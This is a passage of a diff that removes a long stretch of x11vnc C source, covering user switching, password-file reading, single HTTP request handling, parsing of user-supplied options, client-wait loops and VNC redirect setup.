- tstr = strdup(q+1);
- users = user_list(tstr);
- }
-
- while (1) {
- if (lurk(users)) {
- break;
- }
- sleep(3);
- }
- if (tstr) {
- free(tstr);
- }
- if (users) {
- free(users);
- }
-}
-
-static int guess_user_and_switch(char *str, int fb_mode) {
- char *dstr, *d;
- char *p, *tstr = NULL, *allowed = NULL, *logins, **users = NULL;
- int dpy1, ret = 0;
- char **list;
- int lind;
-
- RAWFB_RET(0)
-
- d = DisplayString(dpy);
- /* pick out ":N" */
- dstr = strchr(d, ':');
- if (! dstr) {
- return 0;
- }
- if (sscanf(dstr, ":%d", &dpy1) != 1) {
- return 0;
- }
- if (dpy1 < 0) {
- return 0;
- }
-
- if (strstr(str, "guess=") == str && strlen(str) > strlen("guess=")) {
- allowed = strchr(str, '=');
- allowed++;
-
- tstr = strdup(allowed);
- users = user_list(tstr);
- }
-
- /* loop over the utmpx entries looking for this display */
- logins = get_login_list(1);
-
- list = (char **) calloc((strlen(logins)+2)*sizeof(char *), 1);
- lind = 0;
- p = strtok(logins, ",");
- while (p) {
- list[lind++] = strdup(p);
- p = strtok(NULL, ",");
- }
-
- lind = 0;
- while (list[lind] != NULL) {
- char *user, *q, *t;
- int dpy2, ok = 1;
-
- p = list[lind++];
-
- t = strdup(p);
- q = strchr(t, ':');
- if (! q) {
- free(t);
- break;
- }
- *q = '\0';
- user = t;
- dpy2 = atoi(q+1);
-
- if (users) {
- char **u = users;
- ok = 0;
- while (*u != NULL) {
- if (!strcmp(user, *u++)) {
- ok = 1;
- break;
- }
- }
- }
- if (dpy1 != dpy2) {
- ok = 0;
- }
-
- if (! ok) {
- free(t);
- continue;
- }
-
- if (switch_user(user, fb_mode)) {
- rfbLog("switched to guessed user: %s\n", user);
- free(t);
- ret = 1;
- break;
- }
- }
- if (tstr) {
- free(tstr);
- }
- if (users) {
- free(users);
- }
- if (logins) {
- free(logins);
- }
- return ret;
-}
-
-static int try_user_and_display(uid_t uid, gid_t gid, char *dpystr) {
- /* NO strtoks */
-#if LIBVNCSERVER_HAVE_FORK && LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_PWD_H
- pid_t pid, pidw;
- char *home, *name;
- int st;
- struct passwd *pw;
-
- pw = getpwuid(uid);
- if (pw) {
- name = pw->pw_name;
- home = pw->pw_dir;
- } else {
- return 0;
- }
-
- /*
- * We fork here and try to open the display again as the
- * new user. Unreadable XAUTHORITY could be a problem...
- * This is not really needed since we have DISPLAY open but:
- * 1) is a good indicator this user owns the session and 2)
- * some activities do spawn new X apps, e.g. xmessage(1), etc.
- */
- if ((pid = fork()) > 0) {
- ;
- } else if (pid == -1) {
- fprintf(stderr, "could not fork\n");
- rfbLogPerror("fork");
- return 0;
- } else {
- /* child */
- Display *dpy2 = NULL;
- int rc;
-
- signal(SIGHUP, SIG_DFL);
- signal(SIGINT, SIG_DFL);
- signal(SIGQUIT, SIG_DFL);
- signal(SIGTERM, SIG_DFL);
-
- rc = switch_user_env(uid, gid, name, home, 0);
- if (! rc) {
- exit(1);
- }
-
- fclose(stderr);
- dpy2 = XOpenDisplay_wr(dpystr);
- if (dpy2) {
- XCloseDisplay_wr(dpy2);
- exit(0); /* success */
- } else {
- exit(2); /* fail */
- }
- }
-
- /* see what the child says: */
- pidw = waitpid(pid, &st, 0);
- if (pidw == pid && WIFEXITED(st) && WEXITSTATUS(st) == 0) {
- return 1;
- }
-#endif /* LIBVNCSERVER_HAVE_FORK ... */
- return 0;
-}
-
-int switch_user(char *user, int fb_mode) {
- /* NO strtoks */
- int doit = 0;
- uid_t uid = 0;
- gid_t gid = 0;
- char *name, *home;
-
- if (*user == '+') {
- doit = 1;
- user++;
- }
-
- ssl_helper_pid(0, -2); /* waitall */
-
- if (strstr(user, "guess=") == user) {
- return guess_user_and_switch(user, fb_mode);
- }
-
- user2uid(user, &uid, &gid, &name, &home);
-
- if (uid == (uid_t) -1 || uid == 0) {
- return 0;
- }
- if (gid == 0) {
- return 0;
- }
-
- if (! doit && dpy) {
- /* see if this display works: */
- char *dstr = DisplayString(dpy);
- doit = try_user_and_display(uid, gid, dstr);
- }
-
- if (doit) {
- int rc = switch_user_env(uid, gid, name, home, fb_mode);
- if (rc) {
- started_as_root = 2;
- }
- return rc;
- } else {
- return 0;
- }
-}
-
-static int switch_user_env(uid_t uid, gid_t gid, char *name, char *home, int fb_mode) {
- /* NO strtoks */
- char *xauth;
- int reset_fb = 0;
- int grp_ok = 0;
-
-#if !LIBVNCSERVER_HAVE_SETUID
- return 0;
-#else
- /*
- * OK, tricky here, we need to free the shm... otherwise
- * we won't be able to delete it as the other user...
- */
- if (fb_mode == 1 && (using_shm && ! xform24to32)) {
- reset_fb = 1;
- clean_shm(0);
- free_tiles();
- }
-#if LIBVNCSERVER_HAVE_INITGROUPS
-#if LIBVNCSERVER_HAVE_PWD_H
- if (getpwuid(uid) != NULL && getenv("X11VNC_SINGLE_GROUP") == NULL) {
- struct passwd *p = getpwuid(uid);
- /* another possibility is p->pw_gid instead of gid */
- if (setgid(gid) == 0 && initgroups(p->pw_name, gid) == 0) {
- grp_ok = 1;
- } else {
- rfbLogPerror("initgroups");
- }
- endgrent();
- }
-#endif
-#endif
- if (! grp_ok) {
- if (setgid(gid) == 0) {
- grp_ok = 1;
- }
- }
- if (! grp_ok) {
- if (reset_fb) {
- /* 2 means we did clean_shm and free_tiles */
- do_new_fb(2);
- }
- return 0;
- }
-
- if (setuid(uid) != 0) {
- if (reset_fb) {
- /* 2 means we did clean_shm and free_tiles */
- do_new_fb(2);
- }
- return 0;
- }
-#endif
- if (reset_fb) {
- do_new_fb(2);
- }
-
- xauth = getenv("XAUTHORITY");
- if (xauth && access(xauth, R_OK) != 0) {
- *(xauth-2) = '_'; /* yow */
- }
-
- set_env("USER", name);
- set_env("LOGNAME", name);
- set_env("HOME", home);
- return 1;
-}
-
-static void try_to_switch_users(void) {
- static time_t last_try = 0;
- time_t now = time(NULL);
- char *users, *p;
-
- if (getuid() && geteuid()) {
- rfbLog("try_to_switch_users: not root\n");
- started_as_root = 2;
- return;
- }
- if (!last_try) {
- last_try = now;
- } else if (now <= last_try + 2) {
- /* try every 3 secs or so */
- return;
- }
- last_try = now;
-
- users = strdup(users_list);
-
- if (strstr(users, "guess=") == users) {
- if (switch_user(users, 1)) {
- started_as_root = 2;
- }
- free(users);
- return;
- }
-
- p = strtok(users, ",");
- while (p) {
- if (switch_user(p, 1)) {
- started_as_root = 2;
- rfbLog("try_to_switch_users: now %s\n", p);
- break;
- }
- p = strtok(NULL, ",");
- }
- free(users);
-}
-
-int read_passwds(char *passfile) {
- char line[1024];
- char *filename;
- char **old_passwd_list = passwd_list;
- int linecount = 0, i, remove = 0, read_mode = 0, begin_vo = -1;
- struct stat sbuf;
- static int max = -1;
- FILE *in = NULL;
- static time_t last_read = 0;
- static int read_cnt = 0;
- int db_passwd = 0;
-
- if (max < 0) {
- max = 1000;
- if (getenv("X11VNC_MAX_PASSWDS")) {
- max = atoi(getenv("X11VNC_MAX_PASSWDS"));
- }
- }
-
- filename = passfile;
- if (strstr(filename, "rm:") == filename) {
- filename += strlen("rm:");
- remove = 1;
- } else if (strstr(filename, "read:") == filename) {
- filename += strlen("read:");
- read_mode = 1;
- if (stat(filename, &sbuf) == 0) {
- if (sbuf.st_mtime <= last_read) {
- return 1;
- }
- last_read = sbuf.st_mtime;
- }
- } else if (strstr(filename, "cmd:") == filename) {
- int rc;
-
- filename += strlen("cmd:");
- read_mode = 1;
- in = tmpfile();
- if (in == NULL) {
- rfbLog("run_user_command tmpfile() failed: %s\n",
- filename);
- clean_up_exit(1);
- }
- rc = run_user_command(filename, latest_client, "read_passwds",
- NULL, 0, in);
- if (rc != 0) {
- rfbLog("run_user_command command failed: %s\n",
- filename);
- clean_up_exit(1);
- }
- rewind(in);
- } else if (strstr(filename, "custom:") == filename) {
- return 1;
- }
-
- if (in == NULL && stat(filename, &sbuf) == 0) {
- /* (poor...) upper bound to number of lines */
- max = (int) sbuf.st_size;
- last_read = sbuf.st_mtime;
- }
-
- /* create 1 more than max to have it be the ending NULL */
- passwd_list = (char **) malloc( (max+1) * (sizeof(char *)) );
- for (i=0; i<max+1; i++) {
- passwd_list[i] = NULL;
- }
-
- if (in == NULL) {
- in = fopen(filename, "r");
- }
- if (in == NULL) {
- rfbLog("cannot open passwdfile: %s\n", passfile);
- rfbLogPerror("fopen");
- if (remove) {
- unlink(filename);
- }
- clean_up_exit(1);
- }
-
- if (getenv("DEBUG_PASSWDFILE") != NULL) {
- db_passwd = 1;
- }
-
- while (fgets(line, 1024, in) != NULL) {
- char *p;
- int blank = 1;
- int len = strlen(line);
-
- if (db_passwd) {
- fprintf(stderr, "read_passwds: raw line: %s\n", line);
- }
-
- if (len == 0) {
- continue;
- } else if (line[len-1] == '\n') {
- line[len-1] = '\0';
- }
- if (line[0] == '\0') {
- continue;
- }
- if (strstr(line, "__SKIP__") != NULL) {
- continue;
- }
- if (strstr(line, "__COMM__") == line) {
- continue;
- }
- if (!strcmp(line, "__BEGIN_VIEWONLY__")) {
- if (begin_vo < 0) {
- begin_vo = linecount;
- }
- continue;
- }
- if (line[0] == '#') {
- /* commented out, cannot have password beginning with # */
- continue;
- }
- p = line;
- while (*p != '\0') {
- if (! isspace((unsigned char) (*p))) {
- blank = 0;
- break;
- }
- p++;
- }
- if (blank) {
- continue;
- }
-
- passwd_list[linecount++] = strdup(line);
- if (db_passwd) {
- fprintf(stderr, "read_passwds: keepline: %s\n", line);
- fprintf(stderr, "read_passwds: begin_vo: %d\n", begin_vo);
- }
-
- if (linecount >= max) {
- rfbLog("read_passwds: hit max passwd: %d\n", max);
- break;
- }
- }
- fclose(in);
-
- for (i=0; i<1024; i++) {
- line[i] = '\0';
- }
-
- if (remove) {
- unlink(filename);
- }
-
- if (! linecount) {
- rfbLog("cannot read a valid line from passwdfile: %s\n",
- passfile);
- if (read_cnt == 0) {
- clean_up_exit(1);
- } else {
- return 0;
- }
- }
- read_cnt++;
-
- for (i=0; i<linecount; i++) {
- char *q, *p = passwd_list[i];
- if (!strcmp(p, "__EMPTY__")) {
- *p = '\0';
- } else if ((q = strstr(p, "__COMM__")) != NULL) {
- *q = '\0';
- }
- passwd_list[i] = strdup(p);
- if (db_passwd) {
- fprintf(stderr, "read_passwds: trimline: %s\n", p);
- }
- strzero(p);
- }
-
- begin_viewonly = begin_vo;
- if (read_mode && read_cnt > 1) {
- if (viewonly_passwd) {
- free(viewonly_passwd);
- viewonly_passwd = NULL;
- }
- }
-
- if (begin_viewonly < 0 && linecount == 2) {
- /* for compatibility with previous 2-line usage: */
- viewonly_passwd = strdup(passwd_list[1]);
- if (db_passwd) {
- fprintf(stderr, "read_passwds: linecount is 2.\n");
- }
- if (screen) {
- char **apd = (char **) screen->authPasswdData;
- if (apd) {
- if (apd[0] != NULL) {
- strzero(apd[0]);
- }
- apd[0] = strdup(passwd_list[0]);
- }
- }
- begin_viewonly = 1;
- }
-
- if (old_passwd_list != NULL) {
- char *p;
- i = 0;
- while (old_passwd_list[i] != NULL) {
- p = old_passwd_list[i];
- strzero(p);
- free(old_passwd_list[i]);
- i++;
- }
- free(old_passwd_list);
- }
- return 1;
-}
-
-void install_passwds(void) {
- if (viewonly_passwd) {
- /* append the view only passwd after the normal passwd */
- char **passwds_new = (char **) malloc(3*sizeof(char *));
- char **passwds_old = (char **) screen->authPasswdData;
- passwds_new[0] = passwds_old[0];
- passwds_new[1] = viewonly_passwd;
- passwds_new[2] = NULL;
- /* mutex */
- screen->authPasswdData = (void*) passwds_new;
- } else if (passwd_list) {
- int i = 0;
- while(passwd_list[i] != NULL) {
- i++;
- }
- if (begin_viewonly < 0) {
- begin_viewonly = i+1;
- }
- /* mutex */
- screen->authPasswdData = (void*) passwd_list;
- screen->authPasswdFirstViewOnly = begin_viewonly;
- }
-}
-
-void check_new_passwds(int force) {
- static time_t last_check = 0;
- time_t now;
-
- if (! passwdfile) {
- return;
- }
- if (strstr(passwdfile, "read:") != passwdfile) {
- return;
- }
- if (unixpw_in_progress) return;
-
- if (force) {
- last_check = 0;
- }
-
- now = time(NULL);
- if (now > last_check + 1) {
- if (read_passwds(passwdfile)) {
- install_passwds();
- }
- last_check = now;
- }
-}
-
-rfbBool custom_passwd_check(rfbClientPtr cl, const char *response, int len) {
- char *input, *cmd;
- char num[16];
- int j, i, n, rc;
-
- rfbLog("custom_passwd_check: len=%d\n", len);
-
- if (!passwdfile || strstr(passwdfile, "custom:") != passwdfile) {
- return FALSE;
- }
- cmd = passwdfile + strlen("custom:");
-
- sprintf(num, "%d\n", len);
-
- input = (char *) malloc(2 * len + 16 + 1);
-
- input[0] = '\0';
- strcat(input, num);
- n = strlen(num);
-
- j = n;
- for (i=0; i < len; i++) {
- input[j] = cl->authChallenge[i];
- j++;
- }
- for (i=0; i < len; i++) {
- input[j] = response[i];
- j++;
- }
- rc = run_user_command(cmd, cl, "custom_passwd", input, n+2*len, NULL);
- free(input);
- if (rc == 0) {
- return TRUE;
- } else {
- return FALSE;
- }
-}
-
-static void handle_one_http_request(void) {
- rfbLog("handle_one_http_request: begin.\n");
- if (inetd || screen->httpPort == 0) {
- int port = find_free_port(5800, 5860);
- if (port) {
- /* mutex */
- screen->httpPort = port;
- } else {
- rfbLog("handle_one_http_request: no http port.\n");
- clean_up_exit(1);
- }
- }
- screen->autoPort = FALSE;
- screen->port = 0;
-
- http_connections(1);
-
- rfbInitServer(screen);
-
- if (!inetd) {
- /* XXX ipv6 */
- int conn = 0;
- while (1) {
- if (0) fprintf(stderr, "%d %d %d %d\n", conn, screen->listenSock, screen->httpSock, screen->httpListenSock);
- usleep(10 * 1000);
- rfbHttpCheckFds(screen);
- if (conn) {
- if (screen->httpSock < 0) {
- break;
- }
- } else {
- if (screen->httpSock >= 0) {
- conn = 1;
- }
- }
- if (!screen->httpDir) {
- break;
- }
- if (screen->httpListenSock < 0) {
- break;
- }
- }
- rfbLog("handle_one_http_request: finished.\n");
- return;
- } else {
- /* inetd case: */
-#if LIBVNCSERVER_HAVE_FORK
- pid_t pid;
- int s_in = screen->inetdSock;
- if (s_in < 0) {
- rfbLog("handle_one_http_request: inetdSock not set up.\n");
- clean_up_exit(1);
- }
- pid = fork();
- if (pid < 0) {
- rfbLog("handle_one_http_request: could not fork.\n");
- clean_up_exit(1);
- } else if (pid > 0) {
- int status;
- pid_t pidw;
- while (1) {
- rfbHttpCheckFds(screen);
- pidw = waitpid(pid, &status, WNOHANG);
- if (pidw == pid && WIFEXITED(status)) {
- break;
- } else if (pidw < 0) {
- break;
- }
- }
- rfbLog("handle_one_http_request: finished.\n");
- return;
- } else {
- int sock = connect_tcp("127.0.0.1", screen->httpPort);
- if (sock < 0) {
- exit(1);
- }
- raw_xfer(sock, s_in, s_in);
- exit(0);
- }
-#else
- rfbLog("handle_one_http_request: fork not supported.\n");
- clean_up_exit(1);
-#endif
- }
-}
-
-void user_supplied_opts(char *opts) {
- char *p, *str;
- char *allow[] = {
- "skip-display", "skip-auth", "skip-shared",
- "scale", "scale_cursor", "sc", "solid", "so", "id",
- "clear_mods", "cm", "clear_keys", "ck", "repeat",
- "clear_all", "ca",
- "speeds", "sp", "readtimeout", "rd",
- "rotate", "ro",
- "geometry", "geom", "ge",
- "noncache", "nc",
- "nodisplay", "nd",
- "viewonly", "vo",
- "tag",
- NULL
- };
-
- if (getenv("X11VNC_NO_UNIXPW_OPTS")) {
- return;
- }
-
- str = strdup(opts);
-
- p = strtok(str, ",");
- while (p) {
- char *q;
- int i, n, m, ok = 0;
-
- i = 0;
- while (allow[i] != NULL) {
- if (strstr(allow[i], "skip-")) {
- i++;
- continue;
- }
- if (strstr(p, allow[i]) == p) {
- ok = 1;
- break;
- }
- i++;
- }
-
- if (! ok && strpbrk(p, "0123456789") == p &&
- sscanf(p, "%d/%d", &n, &m) == 2) {
- if (scale_str) free(scale_str);
- scale_str = strdup(p);
- } else if (ok) {
- if (0 && strstr(p, "display=") == p) {
- if (use_dpy) free(use_dpy);
- use_dpy = strdup(p + strlen("display="));
- } else if (0 && strstr(p, "auth=") == p) {
- if (auth_file) free(auth_file);
- auth_file = strdup(p + strlen("auth="));
- } else if (0 && !strcmp(p, "shared")) {
- shared = 1;
- } else if (strstr(p, "scale=") == p) {
- if (scale_str) free(scale_str);
- scale_str = strdup(p + strlen("scale="));
- } else if (strstr(p, "scale_cursor=") == p ||
- strstr(p, "sc=") == p) {
- if (scale_cursor_str) free(scale_cursor_str);
- q = strchr(p, '=') + 1;
- scale_cursor_str = strdup(q);
- } else if (strstr(p, "rotate=") == p ||
- strstr(p, "ro=") == p) {
- if (rotating_str) free(rotating_str);
- q = strchr(p, '=') + 1;
- rotating_str = strdup(q);
- } else if (!strcmp(p, "solid") || !strcmp(p, "so")) {
- use_solid_bg = 1;
- if (!solid_str) {
- solid_str = strdup(solid_default);
- }
- } else if (!strcmp(p, "viewonly") || !strcmp(p, "vo")) {
- view_only = 1;
- } else if (strstr(p, "solid=") == p ||
- strstr(p, "so=") == p) {
- use_solid_bg = 1;
- if (solid_str) free(solid_str);
- q = strchr(p, '=') + 1;
- if (!strcmp(q, "R")) {
- solid_str = strdup("root:");
- } else {
- solid_str = strdup(q);
- }
- } else if (strstr(p, "id=") == p) {
- unsigned long win;
- q = p + strlen("id=");
- if (strcmp(q, "pick")) {
- if (scan_hexdec(q, &win)) {
- subwin = win;
- }
- }
- } else if (!strcmp(p, "clear_mods") ||
- !strcmp(p, "cm")) {
- clear_mods = 1;
- } else if (!strcmp(p, "clear_keys") ||
- !strcmp(p, "ck")) {
- clear_mods = 2;
- } else if (!strcmp(p, "clear_all") ||
- !strcmp(p, "ca")) {
- clear_mods = 3;
- } else if (!strcmp(p, "noncache") ||
- !strcmp(p, "nc")) {
- ncache = 0;
- ncache0 = 0;
- } else if (strstr(p, "nc=") == p) {
- int n2 = atoi(p + strlen("nc="));
- if (nabs(n2) < nabs(ncache)) {
- if (ncache < 0) {
- ncache = -nabs(n2);
- } else {
- ncache = nabs(n2);
- }
- }
- } else if (!strcmp(p, "repeat")) {
- no_autorepeat = 0;
- } else if (strstr(p, "speeds=") == p ||
- strstr(p, "sp=") == p) {
- if (speeds_str) free(speeds_str);
- q = strchr(p, '=') + 1;
- speeds_str = strdup(q);
- q = speeds_str;
- while (*q != '\0') {
- if (*q == '-') {
- *q = ',';
- }
- q++;
- }
- } else if (strstr(p, "readtimeout=") == p ||
- strstr(p, "rd=") == p) {
- q = strchr(p, '=') + 1;
- rfbMaxClientWait = atoi(q) * 1000;
- }
- } else {
- rfbLog("skipping option: %s\n", p);
- }
- p = strtok(NULL, ",");
- }
- free(str);
-}
-
-static void vnc_redirect_timeout (int sig) {
- write(2, "timeout: no clients connected.\n", 31);
- if (sig) {};
- exit(0);
-}
-
-static void do_chvt(int vt) {
- char chvt[100];
- sprintf(chvt, "chvt %d >/dev/null 2>/dev/null &", vt);
- rfbLog("running: %s\n", chvt);
- system(chvt);
- sleep(2);
-}
-
-static void setup_fake_fb(XImage* fb_image, int w, int h, int b) {
- if (fake_fb) {
- free(fake_fb);
- }
- fake_fb = (char *) calloc(w*h*b/8, 1);
-
- fb_image->data = fake_fb;
- fb_image->format = ZPixmap;
- fb_image->width = w;
- fb_image->height = h;
- fb_image->bits_per_pixel = b;
- fb_image->bytes_per_line = w*b/8;
- fb_image->bitmap_unit = -1;
- if (b >= 24) {
- fb_image->depth = 24;
- fb_image->red_mask = 0xff0000;
- fb_image->green_mask = 0x00ff00;
- fb_image->blue_mask = 0x0000ff;
- } else if (b >= 16) {
- fb_image->depth = 16;
- fb_image->red_mask = 0x003f;
- fb_image->green_mask = 0x07c0;
- fb_image->blue_mask = 0xf800;
- } else if (b >= 2) {
- fb_image->depth = 8;
- fb_image->red_mask = 0x07;
- fb_image->green_mask = 0x38;
- fb_image->blue_mask = 0xc0;
- } else {
- fb_image->depth = 1;
- fb_image->red_mask = 0x1;
- fb_image->green_mask = 0x1;
- fb_image->blue_mask = 0x1;
- }
-
- depth = fb_image->depth;
-
- dpy_x = wdpy_x = w;
- dpy_y = wdpy_y = h;
- off_x = 0;
- off_y = 0;
-}
-
-void do_announce_http(void);
-void do_mention_java_urls(void);
-
-static void setup_service(void) {
- if (remote_direct) {
- return;
- }
- if (!inetd) {
- do_mention_java_urls();
- do_announce_http();
- if (!use_openssl) {
- announce(screen->port, use_openssl, NULL);
- fprintf(stdout, "PORT=%d\n", screen->port);
- } else {
- fprintf(stdout, "PORT=%d\n", screen->port);
- if (stunnel_port) {
- fprintf(stdout, "SSLPORT=%d\n", stunnel_port);
- } else if (use_openssl) {
- fprintf(stdout, "SSLPORT=%d\n", screen->port);
- }
- }
- fflush(stdout);
- } else if (!use_openssl && avahi) {
- char *name = rfb_desktop_name;
- if (!name) {
- name = use_dpy;
- }
- avahi_initialise();
- avahi_advertise(name, this_host(), screen->port);
- }
-}
-
-static void check_waitbg(void) {
- if (getenv("WAITBG")) {
-#if LIBVNCSERVER_HAVE_FORK && LIBVNCSERVER_HAVE_SETSID
- int p, n;
- if ((p = fork()) > 0) {
- exit(0);
- } else if (p == -1) {
- rfbLogEnable(1);
- fprintf(stderr, "could not fork\n");
- perror("fork");
- clean_up_exit(1);
- }
- if (setsid() == -1) {
- rfbLogEnable(1);
- fprintf(stderr, "setsid failed\n");
- perror("setsid");
- clean_up_exit(1);
- }
- /* adjust our stdio */
- n = open("/dev/null", O_RDONLY);
- dup2(n, 0);
- dup2(n, 1);
- if (! logfile) {
- dup2(n, 2);
- }
- if (n > 2) {
- close(n);
- }
-#else
- clean_up_exit(1);
-#endif
- }
-}
-
-static void setup_client_connect(int *did_client_connect) {
- if (client_connect != NULL) {
- char *remainder = NULL;
- if (inetd) {
- rfbLog("wait_for_client: -connect disallowed in inetd mode: %s\n",
- client_connect);
- } else if (screen && screen->clientHead) {
- rfbLog("wait_for_client: -connect disallowed: client exists: %s\n",
- client_connect);
- } else if (strchr(client_connect, '=')) {
- rfbLog("wait_for_client: invalid -connect string: %s\n",
- client_connect);
- } else {
- char *q = strchr(client_connect, ',');
- if (q) {
- rfbLog("wait_for_client: only using first"
- " connect host in: %s\n", client_connect);
- remainder = strdup(q+1);
- *q = '\0';
- }
- rfbLog("wait_for_client: reverse_connect(%s)\n",
- client_connect);
- reverse_connect(client_connect);
- *did_client_connect = 1;
- }
- free(client_connect);
- if (remainder != NULL) {
- /* reset to host2,host3,... */
- client_connect = remainder;
- } else {
- client_connect = NULL;
- }
- }
-}
-
-static void loop_for_connect(int did_client_connect) {
- int loop = 0;
- time_t start = time(NULL);
-
- if (first_conn_timeout < 0) {
- first_conn_timeout = -first_conn_timeout;
- }
-
- while (1) {
- loop++;
- if (first_conn_timeout && time(NULL) > start + first_conn_timeout) {
- rfbLog("no client connect after %d seconds.\n", first_conn_timeout);
- shut_down = 1;
- }
- if (shut_down) {
- clean_up_exit(0);
- }
- if (loop < 2) {
- if (did_client_connect) {
- goto screen_check;
- }
- if (inetd) {
- goto screen_check;
- }
- if (screen && screen->clientHead) {
- goto screen_check;
- }
- }
- if ((use_openssl || use_stunnel) && !inetd) {
- int enc_none = (enc_str && !strcmp(enc_str, "none"));
- if (!use_stunnel || enc_none) {
- check_openssl();
- check_https();
- }
- /*
- * This is to handle an initial verify cert from viewer,
- * they disconnect right after fetching the cert.
- */
- if (use_threads) {
- usleep(10 * 1000);
- } else {
- rfbPE(-1);
- }
- if (screen && screen->clientHead) {
- int i;
- if (unixpw) {
- if (! unixpw_in_progress && !vencrypt_enable_plain_login) {
- rfbLog("unixpw but no unixpw_in_progress\n");
- clean_up_exit(1);
- }
- if (unixpw_client && unixpw_client->onHold) {
- rfbLog("taking unixpw_client off hold\n");
- unixpw_client->onHold = FALSE;
- }
- }
- for (i=0; i<10; i++) {
- if (shut_down) {
- clean_up_exit(0);
- }
- usleep(20 * 1000);
- if (0) rfbLog("wait_for_client: %d\n", i);
-
- if (! use_threads) {
- if (unixpw) {
- unixpw_in_rfbPE = 1;
- }
- rfbPE(-1);
- if (unixpw) {
- unixpw_in_rfbPE = 0;
- }
- }
-
- if (unixpw && !unixpw_in_progress) {
- /* XXX too soon. */
- goto screen_check;
- }
- if (!screen->clientHead) {
- break;
- }
- }
- }
- } else if (use_openssl) {
- check_openssl();
- }
-
- if (use_threads) {
- usleep(10 * 1000);
- } else {
- rfbPE(-1);
- }
-
- screen_check:
- if (! screen || ! screen->clientHead) {
- usleep(100 * 1000);
- continue;
- }
-
- rfbLog("wait_for_client: got client\n");
- break;
- }
-}
-
-static void do_unixpw_loop(void) {
- if (unixpw) {
- if (! unixpw_in_progress && !vencrypt_enable_plain_login) {
- rfbLog("unixpw but no unixpw_in_progress\n");
- clean_up_exit(1);
- }
- if (unixpw_client && unixpw_client->onHold) {
- rfbLog("taking unixpw_client off hold.\n");
- unixpw_client->onHold = FALSE;
- }
- while (1) {
- if (shut_down) {
- clean_up_exit(0);
- }
- if (! use_threads) {
- unixpw_in_rfbPE = 1;
- rfbPE(-1);
- unixpw_in_rfbPE = 0;
- }
- if (unixpw_in_progress) {
- static double lping = 0.0;
- if (lping < dnow() + 5) {
- mark_rect_as_modified(0, 0, 1, 1, 1);
- lping = dnow();
- }
- if (time(NULL) > unixpw_last_try_time + 45) {
- rfbLog("unixpw_deny: timed out waiting for reply.\n");
- unixpw_deny();
- }
- usleep(20 * 1000);
- continue;
- }
- rfbLog("wait_for_client: unixpw finished.\n");
- break;
- }
- }
-}
-
-static void vnc_redirect_loop(char *vnc_redirect_test, int *vnc_redirect_cnt) {
- if (unixpw) {
- rfbLog("wait_for_client: -unixpw and Xvnc.redirect not allowed\n");
- clean_up_exit(1);
- }
- if (client_connect) {
- rfbLog("wait_for_client: -connect and Xvnc.redirect not allowed\n");
- clean_up_exit(1);
- }
- if (inetd) {
- if (use_openssl) {
- accept_openssl(OPENSSL_INETD, -1);
- }
- } else {
- pid_t pid = 0;
- /* XXX ipv6 */
- if (screen->httpListenSock >= 0) {
-#if LIBVNCSERVER_HAVE_FORK
- if ((pid = fork()) > 0) {
- close(screen->httpListenSock);
- /* mutex */
- screen->httpListenSock = -2;
- usleep(500 * 1000);
- } else {
- close(screen->listenSock);
- screen->listenSock = -1;
- while (1) {
- usleep(10 * 1000);
- rfbHttpCheckFds(screen);
- }
- exit(1);
- }
-#else
- clean_up_exit(1);
-#endif
- }
- if (first_conn_timeout) {
- if (first_conn_timeout < 0) {
- first_conn_timeout = -first_conn_timeout;
- }
- signal(SIGALRM, vnc_redirect_timeout);
- alarm(first_conn_timeout);
- }
- if (use_openssl) {
- int i;
- if (pid == 0) {
- accept_openssl(OPENSSL_VNC, -1);
- } else {
- for (i=0; i < 16; i++) {
- accept_openssl(OPENSSL_VNC, -1);
- rfbLog("iter %d: vnc_redirect_sock: %d\n", i, vnc_redirect_sock);
- if (vnc_redirect_sock >= 0) {
- break;
- }
- }
- }
- } else {
- struct sockaddr_in addr;
-#ifdef __hpux
- int addrlen = sizeof(addr);
-#else
- socklen_t addrlen = sizeof(addr);
-#endif
- if (screen->listenSock < 0) {
- rfbLog("wait_for_client: Xvnc.redirect not listening... sock=%d port=%d\n", screen->listenSock, screen->port);
- clean_up_exit(1);
- }
- vnc_redirect_sock = accept(screen->listenSock, (struct sockaddr *)&addr, &addrlen);
- }
- if (first_conn_timeout) {
- alarm(0);
- }
- if (pid > 0) {
-#if LIBVNCSERVER_HAVE_FORK
- int rc;
- pid_t pidw;
- rfbLog("wait_for_client: kill TERM: %d\n", (int) pid);
- kill(pid, SIGTERM);
- usleep(1000 * 1000); /* 1.0 sec */
- pidw = waitpid(pid, &rc, WNOHANG);
- if (pidw <= 0) {
- usleep(1000 * 1000); /* 1.0 sec */
- pidw = waitpid(pid, &rc, WNOHANG);
- }
-#else
- clean_up_exit(1);
-#endif
- }
- }
- if (vnc_redirect_sock < 0) {
- rfbLog("wait_for_client: vnc_redirect failed.\n");
- clean_up_exit(1);
- }
- if (!inetd && use_openssl) {
- /* check for Fetch Cert closing */
- fd_set rfds;
- struct timeval tv;
- int nfds;
-
- usleep(300*1000);
-
- FD_ZERO(&rfds);
- FD_SET(vnc_redirect_sock, &rfds);
-
- tv.tv_sec = 0;
- tv.tv_usec = 200000;
- nfds = select(vnc_redirect_sock+1, &rfds, NULL, NULL, &tv);
-
- rfbLog("wait_for_client: vnc_redirect nfds: %d\n", nfds);
- if (nfds > 0) {
- int n;
- n = read(vnc_redirect_sock, vnc_redirect_test, 1);
- if (n <= 0) {
- close(vnc_redirect_sock);
- vnc_redirect_sock = -1;
- rfbLog("wait_for_client: waiting for 2nd connection (Fetch Cert?)\n");
- accept_openssl(OPENSSL_VNC, -1);
- if (vnc_redirect_sock < 0) {
- rfbLog("wait_for_client: vnc_redirect failed.\n");
- clean_up_exit(1);
- }
- } else {
- *vnc_redirect_cnt = n;
- }
- }
- }
-}
-
-static void do_vnc_redirect(int created_disp, char *vnc_redirect_host, int vnc_redirect_port,
- int vnc_redirect_cnt, char *vnc_redirect_test) {
- char *q = strrchr(use_dpy, ':');
- int vdpy = -1, sock = -1;
- int s_in, s_out, i;
- if (vnc_redirect == 2) {
- char num[32];
- sprintf(num, ":%d", vnc_redirect_port);
- q = num;
- }
- if (!q) {
- rfbLog("wait_for_client: can't find number in X display: %s\n", use_dpy);
- clean_up_exit(1);
- }
- if (sscanf(q+1, "%d", &vdpy) != 1) {
- rfbLog("wait_for_client: can't find number in X display: %s\n", q);
- clean_up_exit(1);
- }
- if (vdpy == -1 && vnc_redirect != 2) {
- rfbLog("wait_for_client: can't find number in X display: %s\n", q);
- clean_up_exit(1);
- }
- if (vnc_redirect == 2) {
- if (vdpy < 0) {
